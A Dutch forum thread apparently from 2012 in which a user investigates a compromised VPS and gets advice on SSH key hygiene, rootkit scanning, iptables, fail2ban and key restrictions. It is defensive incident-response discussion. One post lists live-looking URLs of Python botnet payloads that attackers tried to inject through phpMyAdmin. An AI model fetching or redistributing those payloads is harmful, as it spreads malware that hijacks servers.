Redsandro, aangezien jij nogal wat informatie verwacht te krijgen (niet alleen in dit topic) van mensen die wel kennis en kunde hebben op vakgebieden waar jij duidelijk (zonder twijfel geheel zonder (kwade) opzet) de bal op meerdere vlakken laat vallen, zou ik aanraden om even wat minder vanuit emotie op zaken te reageren en gewoon (in mijn ogen opbouwende en correcte) kritiek te accepteren en hier wat mee te doen. SSH-keys zonder passphrase nav 1 how-to, afgeven op developers welke blijkbaar dezelfde filosofie aanhangen als jij zelf doet met ssh-keys, niet beseffen dat CentOS een ander beest is als Ubuntu, aannames doen over services waarvan jij niet weet waarop je dient te letten alvorens deze (in-)direct aan het Internet komen/blijven hangen, etc. Er is een reden dat er developers en sysadmins zijn Maar goed, dit is uiteraard ook maar mijn subjectieve mening.

Voor wat betreft het maken van inschattingen. Ga er van uit dat ALLES in potentie kwetsbaar is en misbruikt kan en zal worden (phpmyadmin zeker) en denk donders goed na voor je iets beschikbaar stelt aan de hele wereld. Bekijk bij een installatie welke services (en waarom!) er draaien en of deze op iets anders dan op 127.0.0.1 luisteren. Duik dieper in materie (zoals de voor- en nadelen inzake het gebruik van SSH-keys) en besef dat elke developer/software fuckups heeft waardoor iets naar de hel kan gaan en 'remote' exploits opeens local worden. Beveiliging is geen kwestie van 1 muur (wachtwoord, firewall, etc), maar van een zelf gekweekte ui. Zodra gemak de voorang krijgt, worden de risico's vaak groter. Weet dan welke risico's en zet dit af tegen het doel wat jij probeert te bereiken. En als er dan iets stuk gaat, weet je tegen die tijd ook waar je op moet letten

Maar om weer on-topic te komen, wat zou jij nog van jouw mede-tweakers willen weten inzake dit topic?

[CrankyGamerOG]

Sando schreef op vrijdag 24 februari 2012 @ 21:39:


[...]

Of je nu inlogt op een VPN of een SSHD, het stelt allebei iets beschikbaar aan de wereld.

Het ging niet om de veiligheid maar om het probleem dat jij continue dan verschillende ip's hebt, DAT vang je met een vpn af.

En nu reageer ik echt niet meer haha.

[CAPSLOCK2000]

Ok, allemaal even diep adem halen.

Ik vind de discussie erg interressant en wil liever niet ingrijpen ook al begint het af en toe vrij, eh... 'stevig' te worden.

RedSandro: aangezien we jou werk aan het beoordelen zijn is het onvermijdelijk dat het af en toe wat persoonlijk overkomt. Dat is jammer, maar de realiteit is dat er op jouw machine iets is mis gegaan.
Def!ance: iedere systeembeheerder die ik ken is als hobbyist begonnen en door schade en schande wijs geworden. Het duurt een paar jaar voordat je paranoide genoeg bent om te beseffen dat geen enkele beveiliging te vertrouwen is en dat de meeste handleidingen grote fouten bevatten.

In ieder geval allebei bedankt voor jullie bijdrage.


Internet heeft nog een hoog Wild-West gehalte.en het enige waar de experts het over eens zijn is dat beveiliging complex is.

Ik sluit me bij magistus aan:

magistus schreef op vrijdag 24 februari 2012 @ 23:25:
Maar om weer on-topic te komen, wat zou jij nog van jouw mede-tweakers willen weten inzake dit topic?

[Sando]

magistus schreef op vrijdag 24 februari 2012 @ 23:25:
(...)

Wel, in eerste instantie wilde ik weten waar relevante logs stonden. CAPSLOCK2000 wees me erop, en vervolgens heb ik mijn VPS uitgezet en inmiddels genuked. Daarmee was voor mij de kous af. Echter daarna kwam Defiance nog met wat ideeën, suggesties en oordelen, en vooral dat laatste leidde even tot discussie.

Inmiddels is daar (zie mijn eerste zin) de nieuwschierigheid bijgekomen (0) of ik naast last, lastb, lastlog etc ook kan uitvinden welke logins met een key zijn gebeurd, want als dit door de door Defiance voorgestelde "kut pubertjes" en "scriptkiddies" is gedaan, dan denk ik niet dat netjes eigen sporen worden gewist enzo dus wordt ik misschien nog iets wijzer.

Ik denk niet dat mijn eigen systeem compromised is, maar ik vind wel interessant om er bij stil te staan, ik hoor nieuwe truuks, en toegegeven ben ik niet 100,00 % zeker dat er niets aan de hand is.

Defiance stelt dat (mogelijk) mijn HTPC is gehacked via welke mijn VPS zou zijn gehacked. IMO is de enige realistische manier waarop dat kon gebeuren de stelling van CAPSLOCK2000 dat het waarschijnlijk via een website is gebeurd.

Ingaande op dat scenario, dan kan ik me voorstellen dat mijn persoonlijke key op dat moment gestolen zou kunnen zijn en dan het VPS verhaal. Maar (1) zonder rootrechten kan de eventuele hacker toch verder weinig op mijn HTPC? (user != root) Inmiddels is de VPS genuked en heb ik al mijn .ssh mappen verwijdert om op nieuw te beginnen, dit keer met wachtwoorden op mijn sleutels en (al eerder) ook de HTPC gereboot, tijdelijk van internet af en van nieuwe wachtwoorden voorzien. Ik denk, al ware mijn key gestolen, dat het daarbij gebleven is.

Maar - stel - al was mijn HTPC compromised. Vroeger in Windows was het nog zo 'makkelijk', virusscanner, malwarescanner, spywarescanner. In Linux is er (2) toch vast ook wel een manier om een als iets triviaals verscholen verborgen sshd te vinden? Ik begrijp dat een compromised systeem kan liegen over alles, maar het gaat hier over mijn HTPC dus ik kan makkelijk even booten van USB of als het moet de schijf eruit halen en in een andere computer stoppen.

Ik heb inmiddels geen resutaten van ClamAV - hoewel toegegeven online gedraaid.

rkhunter -c - de enige warning is van /usr/bin/unhide.rb die vervangen zou zijn door een perl-script. Ik checkte, ziet er normaal uit, en google geeft hits over dezelfde false positive.

code:

(..)
[14:22:17]   /usr/bin/unhide.rb                              [ Warning ]
[14:22:17] Warning: The command '/usr/bin/unhide.rb' has been replaced by a script: /usr/bin/unhide.rb: a /usr/bin/ruby -w script text executable
(..)
[14:25:11]   Checking for hidden files and directories       [ Warning ]
[14:25:11] Warning: Hidden directory found: /etc/.java
[14:25:11] Warning: Hidden directory found: /dev/.udev
[14:25:11] Warning: Hidden file found: /dev/.initramfs: symbolic link to `/run/initramfs'
(..)
[14:25:19] System checks summary
[14:25:19] =====================
[14:25:19]
[14:25:19] File properties checks...
[14:25:19] Files checked: 139
[14:25:19] Suspect files: 1
[14:25:19]
[14:25:19] Rootkit checks...
[14:25:19] Rootkits checked : 245
[14:25:19] Possible rootkits: 0

In de verborgen mappen zit ook niets raars.

chkrootkit - Ook weinig, enige waar iets over te zeggen valt is de warning voor enkele verborgen bestanden in mappen van eclipse plugins en x2go, bestanden die - zonder oordeel over hun rare naam - gewoon in de packages zitten, en dit:

code:

Checking `chkutmp'...                                        The tty of the following user process(es) were not found
 in /var/run/utmp !
! RUID          PID TTY    CMD
! root         6862 tty7   /usr/bin/X :0 -auth /var/run/lightdm/root/:0 vt7 -novtswitch
! root        14968 tty8   /usr/bin/X :1 -auth /var/run/lightdm/root/:1 -nolisten tcp vt8 -novtswitch
! root        16942 pts/0  /bin/sh /usr/sbin/chkrootkit
! root        17672 pts/0  ./chkutmp
! root        17674 pts/0  ps axk tty,ruser,args -o tty,pid,ruser,args
! root        17673 pts/0  sh -c ps axk "tty,ruser,args" -o "tty,pid,ruser,args"
! root        16937 pts/0  sudo chkrootkit
! redsandro   16828 pts/0  bash
chkutmp: nothing deleted

CrankyGamerOG schreef op zaterdag 25 februari 2012 @ 09:10:
het probleem dat jij continue dan verschillende ip's hebt, DAT vang je met een vpn af.

knipIk zie nog steeds het verschil niet tussen in moeten loggen in x of in moeten loggen in y. Want x en y zijn beide beschikbaar voor de wereld en beide beveiligd.
censuur

[ Voor 18% gewijzigd door CAPSLOCK2000 op 26-02-2012 02:58 ]

[CrankyGamerOG]

metadiscussie geknipt
Je hebt gelijk dat bijna iedere echte systeembeheerder als hobbyist is begonnen, dat is ook waar de scholen nu hard falen, maar goed.
Maar, denk wel, toen wij begonnen met hobbyen was het internet vele male rustiger en veiliger, omdat er gewoon veel minder mensen opzaten.
Het risico was gewoon vele malen kleiner dan in de huidige tijd.

Gooi eens een nieuwe server online, en houd eens voor de grap de logs in de gaten, binnen 1 min heb je je eerste portscan al over je heen gehad.......


@Redsandro, je begrijpt het niet, je hele systeem is/was compromised, alle uitvoer kan beinvloed zijn.
Verder is rootkithunter achteraf draaien ook mosterd na de maaltijd.

Natuurlijk controleerd hij achteraf ook op basis van de bij hem bekende gegevens, maar of het dan nog te vertrouwen is, is natuurlijk een ander verhaal.
Maar back it up een paar stappen, vertel je nu serieus dat je HTPC public keys gedeeld had met je VPS?
Dan durf ik met 99% zekerheid te zeggen dat er een verband is.
metadiscussie

[ Voor 128% gewijzigd door CAPSLOCK2000 op 25-02-2012 18:10 ]

[Sando]

niet relevant
In mijn ogen stel jij een dichtgetimmerde server voor met enkele inlogpunten (ip-adressen) waarvan eentje software draait via welke je wereldwijd kunt inloggen, am I wrong?

Of ik nu vanaf elke plek op de wereld kan inloggen op mijn server, of dat ik vanaf elke plek op de wereld kan inloggen op iets waardoor ik vanaf een vooraf ingesteld adres kan inloggen op mijn server, als hacker Hendrik mijn wachtwoord en/of key snifft dan is het hek evenwel van de dam. Am I wrong?

-update-

Wellicht irrelevant, maar 'jouw weerwoord' (de mijne dus) in je quote is een foute aanname. Ik ben veel on the road en moet er bij kunnen vanaf mijn laptop, niet alleen mijn telefoon, hoewel ik dat soms ook doe als ik geen laptop bij me heb.

[ Voor 75% gewijzigd door CAPSLOCK2000 op 25-02-2012 18:12 ]

[CAPSLOCK2000]

Ik vind dit topic te leuk om het op slot te laten staan en ik heb dus even flink zitten censureren. AUB niet persoonlijk opvatten, niemand hier heeft slechte bedoelingen.

[ Voor 115% gewijzigd door CAPSLOCK2000 op 25-02-2012 18:13 ]

[Sando]

Agreed, maar onder mijn post 37744459 staat een stuk tekst die ik niet heb geschreven. Volgens is het een nette uitleg op mijn vraagstuk. Ik weet niet precies meer wat er stond wat is weggehaald maar ik denk dat iemand anders' post er aan vast is geplakt. Volgens mij is die reactie ook nieuwer dan wanneer hij na genoemde post zou komen, en was het een antwoord op mijn als (3) gemarkeerde vraag, die er nog steeds staat maar de (3) is er met de modbreak net nog afgehaald.

Jammer dat ik die masterbootrecord-tag niet kan gebruiken. Maar ik kan dus niet in mijn eigen post ophelderen nadat ie gemodbreakt is.

Die nummering was om in mijn verhalen over de gang van zaken enige duiding te scheppen conform de vraag:

wat zou jij nog van jouw mede-tweakers willen weten inzake dit topic?

[ Voor 44% gewijzigd door Sando op 25-02-2012 23:42 ]

[Sando]

Het gaat dus om deze tekst:

[onbekend] schreef op [onbekend]:
[...]
Het punt is dat je beveiliging in lagen bouwt en je 'contactvlak' met internet minimaliseert.
Je maakt een 'jumphost', een zwaar beveiligd systeem dat alleen gebruikt wordt om met andere systemen te verbinden. Zo verklein je het aantal punten waarop ingebroken kan worden en je maakt het aanvallers moeilijker. Eerst moeten ze door je jumphost heen hacken, dan pas kunnen ze aan de server zelf beginnen.

Een VPN moet je ook zo zien. Je sluit jezelf af van de buitenwereld en geeft alleen toegang via een nauwe tunnel die je makkelijk kan beveiligen en controleren. Voordat iemand jouw server kan aanvallen zal hij eerst je VPN moeten kraken. Als ie je VPN al kraakt heeft ie nog niks, dan begint het echte werk pas.

Dat klinkt goed. Dat is inderdaad wat ik me erbij voorstelde (sort of), maar wellicht van een te zwaar kaliber voor mijn tank. Ik gebruik de VPS hoofdzakelijk voor backups (die encrypted zijn) en enkele 'speeltuin'websites. Bovendien is dit in de categorie schoenmaker blijf bij je leest niet iets wat ik zo even uit mijn mouw schudt.

CrankyGamerOG schreef op zaterdag 25 februari 2012 @ 15:36:
Maar back it up een paar stappen, vertel je nu serieus dat je HTPC public keys gedeeld had met je VPS?
Dan durf ik met 99% zekerheid te zeggen dat er een verband is.

Wel.. hold the applause.. inderdaad. En hoewel dit een schade schande wijsheid combo opleverde had ik de private key uiteraard wel in mijn encrypted home staan, en team Pidgin en team Filezilla staan achter me als ik zeg dat een encrypted home alle beveiliging is die je in het universum nodig hebt. Deze zin is ironisch bedoeld en niet als een argument om op deze voet door te gaan.

Inmiddels heb ik trouwens backups van /var /etc en /usr terug kunnen krijgen. Ik ben benieuwd of er (4) ook een scanner is om sshd achtige routines in binaries op te sporen (offline) en/of ssh achtig netwerk verkeer te detecteren (online).

Want ik zit nu met een Deviance die vrij zeker is dat mijn HTPC gehacked is en een Redsandro die denkt dat het wel meevalt en daardoor te eigenwijs is om de HTPC te wipen en opnieuw te beginnen. Je kan vinden wat je vindt, maar als ik op dag 1 meteen de boel had gewiped was dit lang niet zo'n interessant en leerzaam topic.

[ Voor 13% gewijzigd door Sando op 25-02-2012 23:53 ]

[CAPSLOCK2000]

soz, die tekst was dus van mij.

Het punt is dat je beveiliging in lagen bouwt en je 'contactvlak' met internet minimaliseert.
Je maakt bijvoorbeeld een 'jumphost', een zwaar beveiligd systeem dat alleen gebruikt wordt om met andere systemen te verbinden. Zo verklein je het aantal punten waarop ingebroken kan worden en je maakt het aanvallers moeilijker. Eerst moeten ze door je jumphost heen hacken, dan pas kunnen ze aan de server zelf beginnen.

Een VPN moet je ook zo zien. Je sluit jezelf af van de buitenwereld en geeft alleen toegang via een nauwe tunnel die je makkelijk kan beveiligen en controleren. Voordat iemand jouw server kan aanvallen zal hij eerst je VPN moeten kraken. Als ie je VPN al kraakt heeft ie nog niks, dan begint het echte werk pas.

[ Voor 3% gewijzigd door CAPSLOCK2000 op 26-02-2012 02:59 ]

[CrankyGamerOG]

Sando schreef op zaterdag 25 februari 2012 @ 23:35:


Want ik zit nu met een Deviance die vrij zeker is dat mijn HTPC gehacked is en een Redsandro die denkt dat het wel meevalt en daardoor te eigenwijs is om de HTPC te wipen en opnieuw te beginnen. Je kan vinden wat je vindt, maar als ik op dag 1 meteen de boel had gewiped was dit lang niet zo'n interessant en leerzaam topic.

Tuurlijk joh, en dat is ook jouw goed recht.
Ik had hem alleen zelf persoonlijk offline getrokken en dan helemaal uitgeplozen.
CAPS legt het eigenlijk perfect uit.

Ik had vannacht (ja ik kon er niet van slapen dat ik het je niet uitgelegd kreeg) een andere terminologie bedacht. iets met deuren, sloten en extra muurtjes. lol maar goed. CAPS to the rescue.

Ik ben eigenlijk wel benieuwd naar je VPS, hebben ze die nog offline getrokken? of is die opnieuw geinstalleerd?
Het is interessant om te weten of hij daadwerkelijk vanaf/via je htpc is gekomen.
Sowieso Redsandro is het een goede tip om je iptables op policy drop te zetten met permitrules, ipv policy accept met blockrules.
Verder zijn er natuurlijk al veel bruikbare tips gegeven.

[ Voor 14% gewijzigd door CrankyGamerOG op 26-02-2012 09:08 ]

[jan99999]

Windows die gehackt is en dan even met een virusscanner / spyware scanner alles schoonmaken.
Dit natuurlijk onzin, een gehackte systeem vind je zo niet, dus bij een echte hacker.
Kijk maar op internet, grote bedrijven merken vaak niets, en deze draaien ook scanners, en hebben netwerk beheerders.
Je kan pc's (ook linux) met de gratis, bootable cd van kaspersky gebruiken, van cd booten, dan updaten van virusscanner, en dan scannen.

Wat ik ooit gehoord hebt is om je systeem in de gaten te houden is om van bepaalde mappen / files een checksum te maken, en deze apart houden van je netwerk en systeem, en later te checken of er iets gewijzigd is.

http://www.jupiterbroadcasting.com/
Hier zit techsnap in, hier vertellen ze vaak wat er mis gaat bij bedrijven, en hoe je het wel moet beveiligen.
Hierdoor krijg je een beter idee wat er mis kan gaan.
Natuurlijk via google zoeken naar handleidingen hoe je het beste kunt doen.

Misschien hebben andere hier nog websites met meer beveiliging info, lijkt mij zeer interessant.

[ Voor 3% gewijzigd door jan99999 op 26-02-2012 10:50 ]

[CrankyGamerOG]

jan99999 schreef op zondag 26 februari 2012 @ 10:49:


Wat ik ooit gehoord hebt is om je systeem in de gaten te houden is om van bepaalde mappen / files een checksum te maken, en deze apart houden van je netwerk en systeem, en later te checken of er iets gewijzigd is.

Dat zei ik al, ik noemde het alleen een signature, waar jij het een checksum noemt (checksum is idd beter verwoord).
Dit is naar mijn mening de enigste manier om 100% zeker te zijn dat er niet is aangepast op je systeem.

[Sando]

Ik ben eigenlijk wel benieuwd naar je VPS, hebben ze die nog offline getrokken? of is die opnieuw geinstalleerd?

Die heb ik zelf offline gehaald. Althans, de VM uitgezet. Ik kon er via mijn 2e IP nog bij. Ik mailde naar het beheer dat ik vermoedde dat code injectie via phpMyAdmin de VM heeft besmet, en dat ik de VM uit veiligheidsredenen offline haalde, en of ze me een backup konden geven (zie vorige bericht).

Mijn eerste IP is nu geblacklist vanwege het portscan achtige verkeer dat de hacker uitvoerde.

Interessant trouwens om te vermelden dat de beheerders mij herhaaldelijk meldden dat ik gewoon de scripts kon verwijderen waarvan ik dacht dat ze compromised waren, mijn wachtwoorden kon veranderen en dan verder kon gaan met de VM. Ik krijg haast het gevoel dat ik met mijn - in vergelijking tot enkele systeembeheerders hier onverschillig ogende - houding nog verstandiger ben dan de beheerders van zo'n datacentrum.

Het is interessant om te weten of hij daadwerkelijk vanaf/via je htpc is gekomen.

Ja sowieso. Ik handel vanuit het 'ik denk het niet' (en heb geen zin te formatten als ik dat over twee maanden toch moet doen), maar het zit me inmiddels niet helemaal lekker meer hoor. Ik ben ook van alles proberen zoals je kunt zien in eerdere posts, volgens mij heb ik de meeste tips ook al uitgevoerd.

Sowieso Redsandro is het een goede tip om je iptables op policy drop te zetten met permitrules, ipv policy accept met blockrules.

Hoe doe je dat precies? Die iptables interface (not), jij werkt er waarschijnlijk wekelijks mee, voor mij is het een gedrocht. Een veel gehoord woord is natuurlijk google, maar het is toch veel handiger, ook voor naslag en mensen die hier met de search komen, om concrete voorbeelden te zien.

Zo heb ik wel al proberen uit te voeren:

code:

/sbin/iptables -A INPUT -p tcp --dport 22 --syn -m limit --limit 1/m --limit-burst 3 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 --syn -j DROP

om te doen wat fail2ban eigenlijk doet, max 3 inlogs. Stond nog in mijn 'kladblok'. Of bedoel je dit? Maar dit + fail2ban + denyhosts leidde dus tot mijn buitensluiting en kon ik niet meer inloggen. Terwijl met man erbij is dit regeltje toch sound en zou deze niet het probleem (van buitensluiten) veroorzaakt moeten hebben.

[CAPSLOCK2000]

niet echt veel tijd voor een reactie, maar toch een paar puntjes:

Beveilging is een proces, geen harde wetenschap. De meningen over wat wel en niet nodig is lopen nogal uit elkaar. Misschien heeft die hostingtoko meer inzicht in wat er gebeurd is en kunnen ze beter beoordelen wat er nodig is.
Waarschijnlijk is het meer een kwestie van gemakzucht en economie. Een server herinstalleren kost tijd (en dus geld) en dus wordt er nogal eens door een of andere manager besloten dat er geen tijd is om het ding te herinstalleren.

Op dit forum hebben we geen last van economische realiteit maar kunnen we uitleggen wat de beste aanpak is (naar onze mening). Het is zoiets als zuinig zijn met energie. Energie kost geld dus kun je er maar beter zuinig mee zijn, heel simpel. Op lange termijn is dat altijd beter. Toch wordt vaak gekozen voor gemak op korte termijn.

firewalls, ga niet met de hand met iptables spelen, je bent veel sneller klaar als je een of ander script gebruikt dat je een beetje helpt. Ik ben zelf fan van shorewall maar dat is misschien een beetje overkill.

2e ip: waarschijnlijk is dat 2e ip-adres net zo "gevaarlijk" als het eerste


Nogmaals, computerveiligheid is net zoiets als menselijke gezondheid. We weten allemaal dat het belangrijjk is, maar de meningen over wat je nu precies wel en niet moet doen lopen nog al uit elkaar. Zelfs de dingen waar iedereen het wel over eens is gaan in praktijk fout (bv groente en fruit eten in plaats van vet & suiker). Iedereen moet zelf een afweging maken.

[Sando]

Duidelijk. Ik stel aanpakadvies op prijs, maar ik heb zelf wel rekening te houden met die economische realiteit. Zo heb ik eigenlijk geen tijd die VM opnieuw te installeren, maar ik zal binnenkort toch weer tijdelijk wat testsites voor klanten moeten hosten.

Een jumphost en dergelijke is voor mij een brug te ver, maar dat betekent niet dat ik niets aan beveiliging doe/wil doen.

Dus ik maak een soort mini-draaiboek achtig iets om het tzt relatief makkelijk op te kunnen zetten. Hier is wat bij elkaar geraapte stukjes kladblok van mezelf om als eerste te doen. Ter naslag, voor de search, beschikbaar voor verbeteringen of aanvullingen, etc.

Beveiliging

• SSH
  • root login uitzetten in sshd
    
    • [url]/etc/ssh/sshd_config[/url]
      
      • PermitRootLogin no
      • PasswordAuthentication no
    • Alternatief:
      • PermitRootLogin without-password
        
  • [url]/etc/ssh/ssh_config[/url]
    • HashKnownHosts yes
• IpTables
  • http://wiki.centos.org/Ho...a349538be07b37f67d836688a
  • using iptables limit module to limit the the number of connections to the ssh port to 3 per minute:
    • [url]/sbin/iptables[/url] -A INPUT -p tcp --dport 22 --syn -m limit --limit 1/m --limit-burst 3 -j ACCEPT
    • [url]/sbin/iptables[/url] -A INPUT -p tcp --dport 22 --syn -j DROP
  • Shorewall?

Durf ik niet meer omdat ik mezelf buiten sloot met een volgens mijn gezond verstand toch nette config:
(Bovendien kan je met iptables bijna hetzelfde, alleen wordt je niet gemailt, en moet je voor deze zaken eerst een smtp en/of maillserver opzetten.)

• Fail2ban
  • • http://www.fail2ban.org/
    • 10 minute ban voor mislukte logins.
  • Installation
    • wget http://sourceforge.net/pr...an-0.8.4.tar.bz2/download
    • tar -xvf fail2ban-0.8.4.tar.bz2
    • cd fail2ban-0.8.4
    • python setup.py install
  • Configuration
    • nano -w [url]/etc/fail2ban//jail.conf[/url]
      • check, dingen op true zetten
      • ignoreip = 127.0.0.1 82.x.x.x/24
  • Startup
    • cp files/redhat-initd [url]/etc/init.d/fail2ban[/url]
    • [url]/sbin/chkconfig[/url] --add fail2ban
    • [url]/sbin/chkconfig[/url] fail2ban on
    • [url]/sbin/service[/url] fail2ban start
• DenyHosts
  • • http://denyhosts.sourceforge.net/
    • Blockt ip's na x mislukte logins.
    • Whitelist: [url]/etc/hosts.allow[/url]
  • Installation
    • yum -y install denyhosts
  • Startup
    • [url]/sbin/chkconfig[/url] denyhosts on
    • [url]/sbin/service[/url] denyhosts start

Andere tools:

• Tools
  • rkhunter
  • chkrootkit
  • tripwire
  • clamav
  • clamtk
  • faillog -u root
    • Check voor pogingen tot logins
  • psad
    • Intrusion Detection en Log Analysis met iptables
  • fwsnort
    • Intrusion Detection
  • ssh guard
    • http://www.sshguard.net/
  • Nagios
    • http://www.nagios.org/
    • Advanced log monitoring

[Sando]

Ik zie trouwens enkele rare links in /prox/xxxxx/exe staan voor wat betreft de chromium-browser.

(..)
lrwxrwxrwx 1 redsandro redsandro 0 2012-02-27 15:27 /proc/6701/exe -> /usr/bin/geany
lrwxrwxrwx 1 redsandro redsandro 0 2012-02-27 15:43 /proc/6703/exe -> /bin/bash
lrwxrwxrwx 1 redsandro redsandro 0 2012-02-27 15:27 /proc/6704/exe -> /usr/bin/geany
lrwxrwxrwx 1 redsandro redsandro 0 2012-02-27 15:27 /proc/7192/exe -> /usr/lib/chromium-browser/chromium-browser (deleted)
lrwxrwxrwx 1 root root 0 2012-02-27 15:27 /proc/7474/exe -> /usr/lib/chromium-browser/chromium-browser (deleted)
lrwxrwxrwx 1 root root 0 2012-02-27 15:27 /proc/7475/exe -> /usr/lib/chromium-browser/chromium-browser (deleted)
lrwxrwxrwx 1 root root 0 2012-02-27 15:27 /proc/7476/exe -> /usr/lib/chromium-browser/chromium-browser (deleted)
lrwxrwxrwx 1 root root 0 2012-02-27 15:27 /proc/7478/exe -> /usr/lib/chromium-browser/chromium-browser (deleted)
(..)

Kan iemand thuis eens dubbelchecken?

code:

for n in $(seq 1 32768); do
test -d /proc/$n && test -e /proc/$i/exe && ls -l /proc/$n/exe
done

debsums -c | grep -i chromium no ball.

[Sando]

-update-

Er is wel vaak geprobeerd code te injecten in phpMyAdmin dmv wat waarschijnlijk ooit zero-day exploits waren. Ik heb alleen geen idee of het ooit gelukt is.

De logs hebben vaak payloads in de session, wat ongeveer overeen komt met truuks op deze pagina, maar de meeste daarvan zijn ziezo ouder dan mijn updates. Ik deed dan niet elk uur een update, maar zeker eens per maand.

Voorbeelden van hele python scripts die men heeft proberen te injecten, zo te zien om mijn VPS in een bot te veranderen, die alsvanouds naar een IRC kanaal gaat om commando's af te wachten:

http://199.115.228.9/vp.txt [pastebin link]
http://nyck.altervista.org/apache_32.png [pastebin link]
ftp://217.160.22.11/apache_32.png [pastebin link] (zelfde filename maar ander script)

Interessant om te zien dat al die pogingen tot vangen in botnet slachtoffers dus juist linuxcomputers zijn. Iedereen maar roepen dat er praktisch geen virussen voor Linux/Unix/Mac zijn, maar er zijn dus juist rootkits en signatureloos handwerk waar ClamAV ook aan ruikt zonder te blaffen.

Ik kan trouwens niet echt rekenen op meer hulp/info/logs van de beheerders van het datacentrum..

[ Voor 50% gewijzigd door Sando op 27-02-2012 20:09 ]

[CAPSLOCK2000]

Sando schreef op maandag 27 februari 2012 @ 15:59:
Ik zie trouwens enkele rare links in /prox/xxxxx/exe staan voor wat betreft de chromium-browser.

vreemd ja. Heb je misschien kort geleden een upgrade gedraaid? Dan kan ik me voorstellen dat de binary die jij gestart hebt niet meer bestaat (want vervangen door een nieuwere versie).

Wat betreft virussen enzo. Windows-virussen vallen Windows-computers aan, linux-wormen vallen linux-computers aan. Windows-virussen weten niet wat ze met een linux-systeem kunnen dus daar komen ze ook niet.
Er is geen fundamenteel verschil waardoor Linux absoluut veiliger is dan Windows. Op iedere computer bepaald de beheerder hoe veilig het is. Linux maakt het in vaak makkelijker om de juiste beslissing te nemen. Een voorbeeld hiervan is de scheiding tussen root en de andere gebruikers. Windows heeft ook een 'Administrator' maar de scheiding is minder natuurlijk. Tot op de dag van vandaag werken veel Windows-gebruikers altijd als Administrator (al zijn er ook mensen die alles als root doen).

Dat die mensen van het datacenter je niet veel verder gaan helpen met de beveiliging wist ik al op het moment dat ze je vertelden dat je alleen maar wat scriptjes hoefde op te ruimen. Dat geeft voor mij aan dat ze totaal niet bezig zijn met beveiliging.

Aangezien je deze server professonieel lijkt te gebruiken. Stel je voor dat een achtergebleven virus in de nieuwe testsite van een klant zou sluipen, hoe groot zou de schade dan zijn (niet alleen in geld maar ook voor je imago)?

Zorg er voor dat je je hele systeem goed documenteert zodat je het makkelijk opnieuw kan opbouwen als dat nodig is. Een goed backup-systeem kan ook erg handig zijn.

[ Voor 63% gewijzigd door CAPSLOCK2000 op 27-02-2012 23:31 ]

[Sando]

CAPSLOCK2000 schreef op maandag 27 februari 2012 @ 23:18:
[...]
vreemd ja. Heb je misschien kort geleden een upgrade gedraaid? Dan kan ik me voorstellen dat de binary die jij gestart hebt niet meer bestaat (want vervangen door een nieuwere versie).

Ik denk dat dat het is ja, want vanmiddag had ik geen (deleted) resultaten, en nu is het xbmc.bin weer, na een update.

Aangezien je deze server professonieel lijkt te gebruiken. Stel je voor dat een achtergebleven virus in de nieuwe testsite van een klant zou sluipen, hoe groot zou de schade dan zijn (niet alleen in geld maar ook voor je imago)?

Nou dat zal niet gebeuren, ik mirror er alleen naar toe voor de klant om te spelen en fiatteren. Als ze een serieuze ipv sandbox-omgeving willen dan zet ik ze op een nieuw account bij professionele hosters, en daar hoort in tegenstelling tot de vps-speeltuin ook een rekening bij.

[Sando]

Is er ook een manier om local een password-loze key te gebruiken die remote niet geldig is? Alleen binnen je eigen LAN? (5)
Ik zoek een manier om remote alles zo veilig mogelijk te hebben maar binnen mijn LAN vind ik het wel fijn als het wat makkelijker gaat. Zo gebruik ik vaak sshfs om iets te mounten. Met samba is namelijk AALLLTTIIJJDDD wat. Heb oa daarom ook cygwin op de Windowscomputer.

[CAPSLOCK2000]

sort of, zie 'man authorized_keys'

Je kan bv opgeven dat een key alleen vanaf een bepaald IP-adres mag worden gebruikt. Dat dwing je in de SSH-server af (met de authorized_keys file), het zit dus niet in de key zelf.

[Sando]

Ik denk nog steeds dat er local niets aan de hand was, maar we zullen het nooit weten, want Inmiddels heb ik al mijn computers van schone installaties voorzien, inclusief mijn server, laptop en NAS/HTPC.
Die laatste twee draaien resp. Ubuntu en Xubuntu 12.04 beta 2.

Anyway,

CAPSLOCK2000 schreef op dinsdag 28 februari 2012 @ 19:36:
sort of, zie 'man authorized_keys'

Ik kan inderdaad keys beperken in ~/.ssh/authorized_keys:

code:

from="10.0.0.*" ssh-rsa AAAAVRWTGbYbwrvrw[...]== public key voor lokale verbindingen

Local kan je in ~/.ssh/config aangeven dat je verschillende private keys wilt gebruiken:

code:

Host myserver.mydomain.com
    IdentityFile ~/.ssh/id_rsa.remote
    Port 59268

Host 10.0.0.*
    IdentityFile ~/.ssh/id_rsa.local
    Port 22

Dit vind ik erg relaxed. Gewoon thuis met keys zonder wachtwoord kunnen gebruiken maar remote op werk en mijn VPS een keypair met wachtwoorden gebruiken.

Maar de hamvraag is nu: Is dit dan wel veilig (genoeg), of zie ik nog dingen over het hoofd?